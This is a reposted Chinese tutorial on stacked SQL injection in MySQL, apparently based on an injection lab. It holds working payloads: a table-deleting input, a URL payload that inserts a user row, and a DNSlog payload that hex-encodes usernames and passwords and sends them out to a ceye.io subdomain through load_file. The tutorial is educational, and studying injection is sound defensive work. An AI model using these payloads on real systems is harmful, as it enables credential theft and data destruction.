sql注入之--堆叠注入
sql注入之--堆叠注入
转自:https://blog.csdn.net/Jayjay___/article/details/132081414
什么是堆叠注入?
用简单通俗的话来解释就是多条命令一起执行,比如在MySQL中我们知道在输入一个命令之后要用;表示一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如 select * from users ; creat/drop table xxxx like users ;
这个指令就是在查询users的同时再创建一个名为xxxx的表
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
来源:https://www.jianshu.com/p/36f0772f5ce8
局限性:
- 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
- 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
- 使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因。
补充:
mysql中点引号( ’ )和反引号( ` )的区别
mysql中 , linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反引号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
首先判断能否堆叠注入,show个库(回显所有的库)看看。
?id=-1';select 1,2,(show databases);-- + 【没成功】
向数据表插入id、账号、密码
?id=-1';insert into users(id,username,password) values ('17','Jay','I love 36D too')-- +
然后输入?id=17
就可以查询到我刚刚新建的数据。
看国光大佬的博客,这里还能用DNSlog外带配合堆叠注入
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。
还有剩余内容,如有需要,请查看原始链接(文章开头转自链接)